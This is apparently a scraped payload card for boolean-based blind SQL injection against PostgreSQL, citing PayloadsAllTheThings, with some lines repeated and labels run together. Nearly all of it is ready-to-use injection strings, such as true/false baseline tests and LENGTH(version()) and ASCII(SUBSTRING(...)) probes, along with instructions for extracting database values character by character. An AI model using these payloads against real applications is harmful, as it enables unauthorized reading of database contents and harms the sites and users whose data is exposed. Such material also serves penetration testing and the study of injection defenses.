AND 1=1
Boolean blind
' AND 1=1-- Baseline true response.
PayloadsAllTheThings referencePostgreSQL uses the SQL-standard SUBSTRING(expr FROM pos FOR 1) syntax inside ASCII() for boolean blind extraction, with LENGTH() for sizing. Establish a reliable true/false signal before grinding characters.
How to confirm: A condition known to be true and one known to be false produce two consistently different responses; from there, LENGTH() and ASCII(SUBSTRING()) comparisons let you read any value character by character.
Boolean blind
' AND 1=1-- Baseline true response.
PayloadsAllTheThings referenceBoolean blind
' AND 1=2-- Baseline false response.
PayloadsAllTheThings referenceBoolean blind
' AND LENGTH(version())=N-- Replace N until response changes.
PayloadsAllTheThings referenceBoolean blind
' AND ASCII(SUBSTRING(version() FROM 1 FOR 1))=104-- Binary search ASCII at position 1 (configured: 104).
PayloadsAllTheThings reference